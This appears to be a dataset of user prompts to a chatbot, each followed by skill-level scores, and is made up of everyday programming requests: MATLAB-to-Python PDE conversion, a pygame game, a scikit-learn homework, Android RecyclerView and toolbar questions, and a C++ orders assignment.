function [c,f,s] = mypde(x,t,u,DuDx)
% PDE для решения
c = 1;
D = 0.1;
f = D*DuDx;
s = 0;
%Функция для задания начальных условий
function u0 = mydif_ic (x)
% начальные условия
if x <= 0.45||x >= 0.55
u0 = 0;
else
u0 = 1;
end
%Функция для задания граничных условий
function [pa,qa,pb,qb] = mydif_bc(xa,ua,xb,ub,t)
% граничные условия
pa = ua;
pb = ub;
qa = 0;
qb = 0;
|
10dc21b5a1ac73f878464c5a8da1d32e
|
{
"intermediate": 0.2801096439361572,
"beginner": 0.4536602795124054,
"expert": 0.26623010635375977
}
|
32,986
|
Переведи из matlab в python
function mydiffusion(m,n_x,n_t)
mydiffusion(0,100,100)
close all
xmesh = linspace(0,1, n_x);
tspan = linspace(0,0.4, n_t);
sol = pdepe(m,@mypde,@mydif_ic,@mydif_bc,xmesh,tspan);
u = sol(:,:,1);
[X,T] = meshgrid(xmesh,tspan);
figure
mesh(X,T,u)
xlabel('Координата'),ylabel('Время'), zlabel('Концентрация')
title('Концентрация вещества, как функция координаты и времени')
figure
c = contour(X,u,T,[0.001 0.005 0.05]);
clabel(c)
xlabel('Координата'), ylabel('Концентрация')
title('Концентрация как функция координаты в отдельные моменты
времени')
grid
%Функция задания параметров дифференциального уравнения
function [c,f,s] = mypde(x,t,u,DuDx)
% PDE для решения
c = 1;
D = 0.1;
f = D*DuDx;
s = 0;
%Функция для задания начальных условий
function u0 = mydif_ic (x)
% начальные условия
if x <= 0.45||x >= 0.55
u0 = 0;
else
u0 = 1;
end
%Функция для задания граничных условий
function [pa,qa,pb,qb] = mydif_bc(xa,ua,xb,ub,t)
% граничные условия
pa = ua;
pb = ub;
qa = 0;
qb = 0;
|
a1d7c0d2bbfef4e3bfdd126405b22bfa
|
{
"intermediate": 0.2610686719417572,
"beginner": 0.5127392411231995,
"expert": 0.22619205713272095
}
|
32,987
|
import pygame
import sys
# Initialize pygame
pygame.init()
# Set up the display
width, height = 640, 480
screen = pygame.display.set_mode((width, height))
pygame.display.set_caption(“Moving Block”)
# Set up the block
block_size = 50
block_color = (255, 0, 0) # Red
block_x = width // 2 - block_size // 2
block_y = height // 2 - block_size // 2
block_speed = 2 # Slower movement speed
is_jumping = False
is_crouching = False
# Set up gravity
gravity = 0.5
vertical_velocity = 0
# Set up the ground and colors
ground_color = (0, 255, 0) # Green
ground_height = 20
ground = pygame.Rect(0, height - ground_height, width, ground_height)
background_color = (173, 216, 230) # Light blue
# Run the game loop
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
# Handle keyboard events
keys = pygame.key.get_pressed()
if keys[pygame.K_a] and block_x > 0: # Move left
block_x -= block_speed
if keys[pygame.K_d] and block_x < width - block_size: # Move right
block_x += block_speed
if keys[pygame.K_w] and not is_jumping and not is_crouching: # Jump
is_jumping = True
vertical_velocity = -10
if keys[pygame.K_s]: # Crouch
if not is_crouching:
block_y += block_size // 2 # Move block down to flatten
block_size //= 2 # Halve the size of the block
is_crouching = True
else:
if is_crouching:
block_y -= block_size # Move block back up to original position
block_size *= 2 # Double the size of the block back
is_crouching = False
# Apply gravity
vertical_velocity += gravity
block_y += vertical_velocity
# Check if the block hits the ground
if block_y > height - ground_height - block_size:
block_y = height - ground_height - block_size
is_jumping = False
# Clear the screen
screen.fill(background_color)
# Draw the ground
pygame.draw.rect(screen, ground_color, ground)
# Draw the block
pygame.draw.rect(screen, block_color, (block_x, block_y, block_size, block_size))
# Toggle cursor visibility based on fullscreen mode
if screen.get_flags() & pygame.FULLSCREEN:
pygame.mouse.set_visible(False)
else:
pygame.mouse.set_visible(True)
# Update the display
pygame.display.flip()
|
8a84ce4dd2d8e2d6942c6e8c675b4d30
|
{
"intermediate": 0.25150370597839355,
"beginner": 0.4625195264816284,
"expert": 0.2859767973423004
}
|
32,988
|
Using the following inputs, answer the next few questions.
## perform the necessary imports
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression, LinearRegression, Ridge
from sklearn.metrics import recall_score, make_scorer, mean_squared_error, confusion_matrix, precision_score, roc_curve, auc, accuracy_score, f1_score, roc_auc_score
from sklearn.utils.multiclass import unique_labels
from sklearn.preprocessing import StandardScaler, MinMaxScaler, LabelEncoder
import torch
import time
# Plotting
import matplotlib.cm as cm
import matplotlib.pyplot as plt
import seaborn as sns
%matplotlib inline
### Question 1: Load Datasets (15pts)
A) Load the "Dataset.csv" file.
B) Encode the output classes `Label` (0: Normal, 1: Abnormal) and separate inputs and outputs (features and target). (2 pts)
C) Split the data into equals-sized training and test sets. Use a random_state = 42, and ensure the `balanced distribution` of labels when splitting data.
D) How many observations do you have in your training set?
E) How many observations for each class in your training set?
F) Z-standarize the input features of the training and test sets.
|
29b126478f4951e4847c331eae529742
|
{
"intermediate": 0.3998158574104309,
"beginner": 0.37779292464256287,
"expert": 0.22239123284816742
}
|
32,989
|
привет я разрабатываю приложение на android studio на языке java сделай так чтобы у этого cardView был анимированый stroke т е он должен переливаться <com.sinaseyfi.advancedcardview.AdvancedCardView
android:id="@+id/cardView"https://github.com/sina-seyfi/advancedcardviewIf you wants to implement gradients on background or stroke, you have to define ColorType of them. We have app:background_ColorType property for background and app:stroke_ColorType for stroke. Both have these values (Except that gradient_radial is not supported in stroke):
solid (default): The color is solid.
gradient_linear: The color is linear gradient.
gradient_radial: The color is radial gradient (Stroke DOES NOT support this one).
gradient_sweep: The color is sweep_gradient.
Caution: These properties are strictly define color type.
app:[background/stroke]_Color and app:[background/stroke]_Alpha
if you define solid as your background/stroke color type, the color of background/stroke will be determined by app:[background/stroke]_Color property.
Of course we have alpha for background/stroke: app:[background/stroke]_Alpha
Remember: app:[background/stroke]_Alpha will affect on gradients too. Caution: If you defined alpha in your color hex, the library will multiply app:[background/stroke]_Alpha to your defined color hex alpha. So keep that in mind.
app:[background/stroke]_Gradient_Color[index/End]
If you chose one method of gradients as your background/stroke color type, you can define up to 8 colors as your gradient colors. Properties that define the gradient colors are:
app:[background/stroke]_Gradient_Color0
app:[background/stroke]_Gradient_Color1
app:[background/stroke]_Gradient_Color2
app:[background/stroke]_Gradient_Color3
app:[background/stroke]_Gradient_Color4
app:[background/stroke]_Gradient_Color5
app:[background/stroke]_Gradient_Color6
app:[background/stroke]_Gradient_ColorEnd
You don't have to define all of these xml properties, just define as many as colors that you want on gradients in index order and last color on app:[background/stroke]_Gradient_ColorEnd. Caution: you have to define ColorEnd of your gradient colors, otherwise the library will assume Color0 as you gradient's end color.
You can have infinite colors on your gradient if you define gradient colors programmatically:
acd.[background/stroke]_Gradient_Colors = colorArray
|
21bda39164b7475521f06174b88dd56c
|
{
"intermediate": 0.5384413599967957,
"beginner": 0.2054450958967209,
"expert": 0.2561134994029999
}
|
32,990
|
extract every color on image and save it as different image in python
|
39d81dd296020d4f9c1fad19078faf9f
|
{
"intermediate": 0.4466153383255005,
"beginner": 0.17131437361240387,
"expert": 0.38207030296325684
}
|
32,991
|
const sessionStorageParams = new Map<string, string>();
Object.keys(params).forEach(key => {
if (this.settingsService.settings.prefix.filter(item=> item.startsWith(key)).length > 0)
sessionStorageParams[key] = params[key];
});
if (sessionStorageParams.size > 0){
const jsonString = JSON.stringify(sessionStorageParams);
sessionStorage.setItem(this.settingsService.settings.trakingPrefix, jsonString);
}
por que estoy obteniendo le valor 0 en sessionStorageParams.size?
|
f5d99188d358524355b9bc6b212a5529
|
{
"intermediate": 0.4404461681842804,
"beginner": 0.3984731137752533,
"expert": 0.16108067333698273
}
|
32,992
|
i have an object on white backgoiund, cut it out from top right pixel to button left using puthon cv2
|
a405ea8a3ea25e75c642fd56f5d741c8
|
{
"intermediate": 0.3622826933860779,
"beginner": 0.30477288365364075,
"expert": 0.33294442296028137
}
|
32,993
|
Can you please make a PvZ2 Ancient Egypt lawn please?
|
69ed3437ef2c69bda8a2d03416ac5c1f
|
{
"intermediate": 0.36725592613220215,
"beginner": 0.3143502175807953,
"expert": 0.31839385628700256
}
|
32,994
|
A company in the Home Delivery domain “On-Time Safely” requested the
submission of several software engineering artefact and deliverables for a new
system that will be used when they start operations. Draw a use case diagram with a minimum of 3 different actors, 8
use cases, at least 1 <<include>> stereotype, and at least 1
<<extend>> stereotype
|
e9548d1b0afb726f8d626a6e9d66d703
|
{
"intermediate": 0.42812633514404297,
"beginner": 0.21051853895187378,
"expert": 0.36135512590408325
}
|
32,995
|
I need to conver the the Zero timezone to the user local time using type script, how to do it, please use as an example the 2023-11-24T15:57:57.357Z
|
f2e92efb93a97142e4f5955aeaf0389b
|
{
"intermediate": 0.3466472625732422,
"beginner": 0.1816190630197525,
"expert": 0.4717337191104889
}
|
32,996
|
смотри я делаю приложение на android studio на java у меня есть xml в котом есть 2 кнопки и recycler view можешь добавить toolbar в котором будут title фрагмента 2 кнопки и textview при скроле toolbar должен скрываться <?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:background="@drawable/bg"
tools:context=".Fragments.InventoryFragment">
<TextView
android:id="@+id/textView2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="50dp"
android:fontFamily="@font/bold"
android:text="Инвентарь"
android:textColor="@color/white"
android:textSize="28sp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<com.google.android.material.button.MaterialButton
android:id="@+id/selectAllButton"
android:layout_width="100dp"
android:layout_height="50dp"
android:layout_marginStart="20dp"
android:text="Выбрать всё"
android:fontFamily="@font/normal"
android:textColor="@color/white"
android:textSize="10sp"
app:backgroundTint="@android:color/transparent"
app:cornerRadius="10dp"
app:strokeColor="@color/white"
app:strokeWidth="1dp"
android:layout_marginTop="10dp"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/textView2" />
<com.google.android.material.button.MaterialButton
android:id="@+id/sellAllButton"
android:layout_width="100dp"
android:layout_height="50dp"
android:layout_marginTop="10dp"
android:layout_marginEnd="20dp"
android:fontFamily="@font/normal"
android:text="Продать всё"
android:textColor="@color/white"
android:textSize="10sp"
app:backgroundTint="@android:color/transparent"
app:cornerRadius="10dp"
app:strokeColor="@color/white"
app:strokeWidth="1dp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toBottomOf="@+id/textView2" />
<TextView
android:id="@+id/totalSoldPriceTextView"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginStart="10dp"
android:layout_marginTop="10dp"
android:layout_marginEnd="10dp"
android:fontFamily="@font/normal"
android:gravity="center"
android:textColor="@color/white"
android:textSize="16sp"
app:layout_constraintEnd_toStartOf="@+id/sellAllButton"
app:layout_constraintStart_toEndOf="@+id/selectAllButton"
app:layout_constraintTop_toBottomOf="@+id/textView2" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/inventorRecyclerView"
android:layout_width="0dp"
android:layout_height="0dp"
android:layout_marginStart="10dp"
android:layout_marginTop="10dp"
android:layout_marginEnd="10dp"
android:layout_marginBottom="50dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/selectAllButton" />
</androidx.constraintlayout.widget.ConstraintLayout>
|
34b16fa55aec6abb5dc988bcf0cc1851
|
{
"intermediate": 0.3189733624458313,
"beginner": 0.45902496576309204,
"expert": 0.22200165688991547
}
|
32,997
|
Write a python function to say hello world
|
c52d899748d05553935ab0a96aab7896
|
{
"intermediate": 0.2521403133869171,
"beginner": 0.42835095524787903,
"expert": 0.31950870156288147
}
|
32,998
|
Enter the elements of a two-dimensional array of numbers line by line. The number of columns is specified. The number of lines in the array, but not less than one, is equal to the maximum modulo element of the initial (zero) line. From the columns of the original array, which form a non-decreasing sequence of numbers, form the rows of the resulting array. Output the generated array. Enter an array string and form a resulting array string as functions. Language C.
|
90a7104a4e1c3de3edf8933cef0030b4
|
{
"intermediate": 0.3149864375591278,
"beginner": 0.34841540455818176,
"expert": 0.33659815788269043
}
|
32,999
|
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_screenutil/flutter_screenutil.dart';
import 'package:product_selector/screens/handsets/compare/model/handsets_model.dart';
import 'package:product_selector/utilities/colors.dart';
class TableBody extends StatefulWidget {
const TableBody(
{this.firstHandsets, this.secondHandsets, this.thirdHandsets, Key? key})
: super(key: key);
final SpecificationsGroup? firstHandsets;
final SpecificationsGroup? secondHandsets;
final SpecificationsGroup? thirdHandsets;
@override
State<TableBody> createState() => _TableBodyState();
}
class _TableBodyState extends State<TableBody> {
@override
Widget build(BuildContext context) {
return ListView.builder(
physics: const NeverScrollableScrollPhysics(),
shrinkWrap: true,
itemCount: widget.firstHandsets?.specifications?.length ?? 0,
itemBuilder: (context, index) {
return Table(
border: TableBorder.symmetric(
inside: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 2.w),
),
children: [tableRow(index)],
);
});
}
TableRow tableRow(index) {
double topBorder = index != 0 ? 1.w : 3.w;
double bottomBorder =
index != widget.firstHandsets!.specifications!.length - 1 ? 1.w : 4.w;
return TableRow(
decoration: BoxDecoration(
border: Border(
top: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: topBorder),
bottom: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: bottomBorder),
right: BorderSide(
color: UIColors.aluminium, style: BorderStyle.solid, width: 3.w),
left: BorderSide(
color: UIColors.aluminium, style: BorderStyle.solid, width: 3.w),
)),
children: [
Padding(
padding: EdgeInsets.symmetric(horizontal: 16.w, vertical: 2.h),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.start,
children: [
SizedBox(
height: 5.h,
),
if (index == 0)
sectionTitle('${widget.firstHandsets?.group?.label}'),
SizedBox(
height: 7.h,
),
specificationsType(
'${widget.firstHandsets?.specifications?[index].specification?.label}')
],
),
),
specificationsDetails(index,
'${widget.firstHandsets?.specifications?[index].description}'),
specificationsDetails(index,
'${widget.secondHandsets?.specifications?[index].description}'),
specificationsDetails(index,
'${widget.thirdHandsets?.specifications?[index].description}'),
],
);
}
Widget sectionTitle(String title) {
return Text(title,
style: TextStyle(
fontSize: 20.sp,
color: UIColors.darkGrey,
fontWeight: FontWeight.w400));
}
Widget specificationsType(String title) {
return Text(title,
style: TextStyle(
fontSize: 24.sp,
color: UIColors.darkGrey,
fontWeight: FontWeight.w700));
}
Widget specificationsDetails(index, String title) {
double height = index == 0 ? 37.h : 16.h;
return Padding(
padding: EdgeInsetsDirectional.only(
top: height, start: 11.w, end: 11.w, bottom: 10.h),
child: Text(title != 'null' ? title : '',
style: TextStyle(
fontWeight: FontWeight.w400,
fontSize: 24.sp,
color: UIColors.darkGrey)),
);
}
}
i want to add row above the row for the price
|
eac19a4b08ab1598709470b7424e91cf
|
{
"intermediate": 0.3353240489959717,
"beginner": 0.47803524136543274,
"expert": 0.18664070963859558
}
|
33,000
|
hej
|
cab68bc319f12049dded16b4effbff80
|
{
"intermediate": 0.3328440487384796,
"beginner": 0.28212741017341614,
"expert": 0.385028600692749
}
|
33,001
|
TASK 3: Military time operates on a 24-hour clock that uses the range 0 - 23 to represent the hours in a 24 hour period. Midnight (12am) is 0 hours, 1:00 a.m. is 1 hour, 2:00 a.m. is 2 hours, …, noon is 12 hours, 1pm is 13 hours, all the way to 11:00 p.m. being 23 hours. The class Time is a data type (see lecture notes) that represents a military time value consisting of hours, minutes, and seconds (see the data members defined in the class). For example, if these data members are set to hours = 13, minutes = 35, and seconds = 45, this military time represents 1:35pm and 45 seconds. The code for the member functions setHours, setMinutes, setSeconds, getHours, getMinutes, and getSeconds has been provided for you. Do NOT modify this code.
TASK 3a: Write code for the member function toString in the class Time by replacing /* INSERT YOUR CODE */ with your solution. This member function returns a string with the format "HH:MM:SS" that contains the hours, minutes, and seconds stored in an object, i.e. an instance of the class Time. To ensure that the values are expressed in this two digit format, call the function in TASK 3b, which converts a number to a string containing two digit characters. You can test the toString function by running the following code in the main function:
Time time;
time.setHours(3);
time.setMinutes(29);
time.setSeconds(9);
cout << time.toString() << endl;
Here the toString function returns the string "03:29:09", i.e. 3:29am and 9 seconds.
TASK 3b: Write code for the member function twoDigits in the class Time by replacing /* INSERT YOUR CODE */ with your solution. This function converts an integer to a string with length two. Use the C++ to_string function to convert a number to a string. For example, to_string(29) evaluates to the string "29". Your code must ensure that a single digit number will be preceded by a leading zero in the returned string. Here are examples: the function call twoDigits(0) returns "00"; the function call twoDigits(5) returns "05"; the function call twoDigits(25) returns "25." This function is called by the toString function in class Time (see TASK 3a).
TASK 4: Write code for the accessor and mutator member functions in the class Order by replacing /* INSERT YOUR CODE */ with your solution.
TASK 4a: Write code in the member function display in the class Order by replacing /* INSERT YOUR CODE */ with your solution. This function displays to the screen the data member values (id, price, quantity), the total cost (price x quantity), and the time the order was taken. The price and total cost are displayed with two digits after the decimal place. Call the toString function in the class Time in this function. You can test the display function by running the following code in the main function:
Time time;
Order order;
time.setHours(3);
time.setMinutes(29);
time.setSeconds(9);
order.setID("aa");
order.setPrice(5.5);
order.setQuantity(10);
order.setTime(time);
order.display();
Here the display function will display to the screen:
Order aa, $5.50, 10 units, costs $55.00, taken @ 03:29:09
TASK 5: Write code in the main function (remove code you may have inserted into the main to debug TASK 3 and TASK 4) using the algorithm specified in the comments. Write code in the main function to do the following:
i. Define a constant that holds the integer 100, which is the highest possible price for any product that the user is allowed to enter.
ii. Call the function in TASK 6 that reads all orders from the user.
iii. If the user entered at least one order then display all the orders (call the function in TASK 13) and draw a histogram in bar graph form of the prices (call the function in TASK 14) of the entered orders..
iv. You will write nine functions as specified below. Choose descriptive function and variable names.
Place function prototypes BEFORE the main function after the comment // FUNCTION PROTOTYPES GO HERE:
Place function definitions AFTER the main function after the comment // FUNCTION DEFINITIONS GO HERE:
Each function should have a comment (placed above the function definition) that describes the function's task.
Include in this comment a short description of each input parameter.
TASK 6: Write a procedure to read all of the orders from the user. The function has two input parameters: 1) a vector holding values of type class Order (orders entered by the user) and 2) an integer holding the highest price that the user can enter (see TASK 5 part i). Here is the algorithm for the function:
Display the phrase "Enter today's orders:".
Before reading each order from the user display the phrase "Order #?? -", where ?? is an integer starting from one indicating which order the user is currently entering.
Read each order (ID, price, quantity, and time) by calling the functions in TASK 7, TASK 10, TASK 11, and TASK 12. Stop reading orders when the user enters no characters (just clicks the Enter key) when entering the ID. Display the order to the screen before reading the next order.
Add the order into the vector in the input parameter.
You must determine where to use the cin and getline statements. You will encounter an issue with user input when you read a number followed by a string. Read zyBooks chapter 2.15 (Section 2.15 in the section "Mixing cin and getline") to solve this problem.
TASK 7: Write a function to read a valid ID from the user. The function has one input parameter: a vector holding values of type class Order. The function returns a string. A valid ID contains exactly two characters where either character can be a lower case letter or a digit. Repeatedly ask the user again for an ID if an invalid ID is entered and display the phrase "Invalid id, try again." in this case. Call the function in TASK 8 to determine whether a character is a lower case letter or a digit Call the function in TASK 9 to determine if an ID has already been entered by the user. I.e., we don't allow duplicate IDs in the list of orders.
TASK 8: Write a function that determines whether a character is a lower case letter or a digit. The function has one input parameter: a character (not a string). The function returns a boolean value where true indicates that the character in the input parameter is either a lower case letter or a digit. Otherwise it returns false.
TASK 9: Write a function that determines whether an ID is already being used in a previous order. The function has two input parameters: a vector holding values of type class Order and 2) a string holding an ID. The function returns a boolean value where true indicates that the ID specified in the input parameter is already used in an order in the input vector. Otherwise it returns false.
TASK 10: Write a function that reads a price from the user. The function has one input parameter: a double type of value holding the highest price the user is allowed to enter. The function returns a double. Prompt the user with "Price: " and repeatedly ask the user again if an invalid price is entered and display the phrase "Invalid price, try again." in this case. A valid price is a positive number (remember zero is not a positive number) that does not exceed the input parameter value.
TASK 11: Write a function that reads a quantity from the user. The function has no input parameters. The function returns an integer. Prompt the user with "Quantity: " and repeatedly ask the user again if an invalid price is entered and display the phrase "Invalid quantity, try again." in this case. A valid quantity is a positive number (remember zero is not a positive number).
TASK 12: Write a function that reads a single military time value (hours, minutes, and seconds) from the user. The function has no parameters. The function returns an instance (object) of the class Time containing the military time values entered by the user. Prompt the user with the phrase "Time (hrs, min, sec): " and read in the hours, minutes, and seconds. The hours must be an integer in the range 0 - 23, the minutes must be an integers in the range 0 - 59, and the seconds must be an integer in the range 0 - 59. Repeatedly ask the user again if the entered values violate any of these range restrictions and display the phrase "Invalid time, try again." in this case. Use the mutator member functions of the class Time to store these value into an object.
TASK 13: Write a procedure that displays all of the orders. The function has one input parameter: a vector holding values of type class Order. The procedure displays the phrase "Orders:" followed by each order, one per line. Avoid writing redundant code by calling a member function in the class Order.
TASK 14: Write a procedure that displays a bar graph containing prices from a list of order. The procedure has two input parameters: 1) a vector holding values of type class Order and 2) an integer holding the highest possible price. The procedure displays the phrase "Price Histogram: " followed by the bar graph, which displays rows labeled with prices in increments of 20 dollars up to the highest possible dollars. For example, if the second input parameter holds 100, then the bar graph will display five rows with the prices 20, 40, 60, 80, and 100. Each of these prices represents a price range that includes that price. Thus in the same example, the price 20 represents the prices in the range (0 - 20], price 40 represents the range (20 - 40], the price 60 represents the range (40 - 60], the price 80 represents the range (60 - 80], and the price 100 represents the range (80 - 100]. As another example, if the second input parameter to this procedure holds 200, then the bar graph will display 10 rows with the prices 20, 40, 60, 80, 100, 120, 140, 160, and 200. Each row will display a count of how many prices in the list of orders (first input parameter) contain a price in the price range indicated by that row. The count is displayed as sequence of dollar sign characters, $, whose number matches the count.
Be sure that there is a comment documenting each variable.
Be sure that your if statements, for and while loops and blocks are properly indented.
Test your solution.
|
34b29d8fdd61de7e276c05d1a10ae4b8
|
{
"intermediate": 0.3742425739765167,
"beginner": 0.36702167987823486,
"expert": 0.2587357461452484
}
|
33,002
|
где ошибка? из-за бага отступы не видно, но они есть
import pyautogui
import msvcrt
import os
File = "путь"
loop = 1
while loop == 1:
global File
print('введите команду: ')
key = msvcrt.getch()
if key == b'y':
pyautogui.moveTo(1300, 1050, 3, pyautogui.easeInOutQuad)
pyautogui.click ()
elif key == b'p' or key == b't' or key == b'c' or key == 'k':
openFile = os.open (File)
|
a93f2656fa6c0fc277da7c38370016ad
|
{
"intermediate": 0.3219165503978729,
"beginner": 0.5623285174369812,
"expert": 0.11575489491224289
}
|
33,003
|
смотри при нажатии на предмет у меня изображения в recyclerView становиться черными и заново отображаються как сделать так чтобы они всегда отображались и не перезагружались, даже при скроле они темнеют пока на них не скрольнишся package com.example.cardsbattle.adapters;
import android.animation.LayoutTransition;
import android.app.AlertDialog;
import android.app.Dialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.os.Handler;
import android.transition.AutoTransition;
import android.transition.TransitionManager;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.constraintlayout.widget.ConstraintLayout;
import androidx.recyclerview.widget.RecyclerView;
import com.airbnb.lottie.LottieAnimationView;
import com.example.cardsbattle.Activity.MainActivity;
import com.example.cardsbattle.model.Item;
import com.example.cardsbattle.R;
import com.example.cardsbattle.utilites.Constants;
import com.example.cardsbattle.utilites.PreferenceManager;
import com.google.android.material.button.MaterialButton;
import com.google.android.material.card.MaterialCardView;
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.FirebaseFirestore;
import com.sinaseyfi.advancedcardview.AdvancedCardView;
import com.squareup.picasso.Picasso;
import java.util.ArrayList;
import java.util.List;
public class InventoryAdapter extends RecyclerView.Adapter<InventoryAdapter.ViewHolder> {
private List<Item> itemList;
private String Legendary = "Легендарное";
private String Mythic = "Мифическое";
private String Epic = "Эпическое";
private String Common = "Обычное";
private String Slabo = "Слабое";
private String itemName;
private String itemPrice;
Context context;
private boolean isVisible = true;
PreferenceManager preferenceManager;
private OnItemClickedListener itemClickedListener;
private List<Item> selectedItems = new ArrayList<>();
public InventoryAdapter(List<Item> itemList,Context context, OnItemClickedListener itemClickedListener) {
this.itemList = itemList;
this.context = context;
this.itemClickedListener = itemClickedListener;
}
@NonNull
@Override
public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item, parent, false);
return new ViewHolder(view);
}
@Override
public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
Item currentItem = itemList.get(position);
// Установите данные для каждого элемента
holder.nameTextView.setText(currentItem.getName());
holder.priceTextView.setText(currentItem.getPrice() + " ₽");
itemName = currentItem.getName();
itemPrice = currentItem.getPrice();
if (currentItem.getRarity().equals(Legendary)){
// holder.backgroundItem.setBackgroundColor(context.getResources().getColor(R.color.legendary));
holder.cardView.setShadowOuterColor(0,context.getResources().getColor(R.color.legendary));
holder.cardView.setStroke_Color(context.getResources().getColor(R.color.legendary));
} else if (currentItem.getRarity().equals(Mythic)) {
//holder.backgroundItem.setBackgroundColor(context.getResources().getColor(R.color.mystic));
// holder.cardView.setStrokeColor(context.getResources().getColor(R.color.mystic));
holder.cardView.setShadowOuterColor(0,context.getResources().getColor(R.color.mystic));
holder.cardView.setStroke_Color(context.getResources().getColor(R.color.mystic));
} else if (currentItem.getRarity().equals(Epic)) {
// holder.backgroundItem.setBackgroundColor(context.getResources().getColor(R.color.epic));
// holder.cardView.setStrokeColor(context.getResources().getColor(R.color.epic));
holder.cardView.setShadowOuterColor(0,context.getResources().getColor(R.color.epic));
holder.cardView.setStroke_Color(context.getResources().getColor(R.color.epic));
} else if (currentItem.getRarity().equals(Common)) {
//holder.backgroundItem.setBackgroundColor(context.getResources().getColor(R.color.common));
//holder.cardView.setStrokeColor(context.getResources().getColor(R.color.common));
holder.cardView.setShadowOuterColor(0,context.getResources().getColor(R.color.common));
holder.cardView.setStroke_Color(context.getResources().getColor(R.color.common));
} else if (currentItem.getRarity().equals(Slabo)) {
//holder.backgroundItem.setBackgroundColor(context.getResources().getColor(R.color.slabo));
//holder.cardView.setStrokeColor(context.getResources().getColor(R.color.slabo));
holder.cardView.setShadowOuterColor(0,context.getResources().getColor(R.color.slabo));
holder.cardView.setStroke_Color(context.getResources().getColor(R.color.slabo));
}else {
//holder.backgroundItem.setBackgroundColor(context.getResources().getColor(R.color.black));
// holder.cardView.setStrokeColor(context.getResources().getColor(R.color.black));
holder.cardView.setShadowOuterColor(0,context.getResources().getColor(R.color.main));
holder.cardView.setStroke_Color(context.getResources().getColor(R.color.main));
}
// Используйте Picasso для загрузки изображения
Picasso.get().load(currentItem.getImageUrl()).into(holder.itemImageView);
preferenceManager = new PreferenceManager(context);
holder.selectedImageView.setVisibility(selectedItems.contains(currentItem) ? View.VISIBLE : View.GONE);
// Добавляем обработчик нажатия на элемент списка
holder.itemView.setOnClickListener(view -> {
// Если предмет выбран, уберите его из списка, иначе добавьте
if (selectedItems.contains(currentItem)) {
selectedItems.remove(currentItem);
} else {
selectedItems.add(currentItem);
}
if (itemClickedListener != null) {
itemClickedListener.onItemClicked(currentItem);
}
// Обновить отображение
notifyDataSetChanged();
});
// Добавьте обработчик нажатия для кнопки "Продать", если необходимо
holder.soldButton.setOnClickListener(v -> {
// поместите всю логику нажатия кнопки "Продать" сюда
MaterialAlertDialogBuilder materialAlertDialogBuilder = new MaterialAlertDialogBuilder(v.getContext());
materialAlertDialogBuilder.setTitle("Внимание");
materialAlertDialogBuilder.setMessage("Вы хотите продать "+currentItem.getName().toString()+" за " + currentItem.getPrice().toString()+" ₽");
materialAlertDialogBuilder.setNegativeButton("Нет", (dialogInterface, i) -> dialogInterface.dismiss());
materialAlertDialogBuilder.setPositiveButton("Да", (dialogInterface, i) -> {
clearSelectedItems();
selectedItems.clear();
calculateTotalSoldPrice();
String itemId = currentItem.getId();
if (itemId != null && !itemId.isEmpty()) {
FirebaseFirestore db = FirebaseFirestore.getInstance();
// Получение ссылки на документ в коллекции ITEMS
DocumentReference itemRef = db.collection(Constants.KEY_COLLECTION_ITEMS).document(itemId);
itemRef.delete()
.addOnSuccessListener(aVoid -> {
// Успешное удаление из базы данных
String userId = preferenceManager.getString(Constants.KEY_USER_ID);
// Теперь удалите этот элемент из коллекции пользователя
DocumentReference userItemRef = db.collection(Constants.KEY_COLLECTION_USERS)
.document(userId)
.collection(Constants.KEY_COLLECTION_ITEMS)
.document(itemId);
userItemRef.delete()
.addOnSuccessListener(aVoid1 -> {
// Успешное удаление из коллекции пользователя
if (position >= 0 && position < itemList.size()) {
itemList.remove(position);
notifyItemRemoved(position);
notifyItemRangeChanged(position, getItemCount());
}
})
.addOnFailureListener(e -> {
// Обработка ошибки при удалении из коллекции пользователя
Toast.makeText(context, "Не удалось продать предмет", Toast.LENGTH_SHORT).show();
});
})
.addOnFailureListener(e -> {
// Обработка ошибки при удалении из базы данных
Toast.makeText(context, "Не удалось продать предмет", Toast.LENGTH_SHORT).show();
});
}
// Получаем цену продажи из текущего элемента
String soldPriceString = currentItem.getSoldPrice();
// Проверяем, что цена не пустая
if (soldPriceString != null && !soldPriceString.isEmpty()) {
try {
// Преобразуем строку в число
int soldPrice = Integer.parseInt(soldPriceString);
// Получаем ID пользователя
String userId = preferenceManager.getString(Constants.KEY_USER_ID);
// Получаем доступ к базе данных Firestore
FirebaseFirestore db = FirebaseFirestore.getInstance();
// Получаем ссылку на документ пользователя
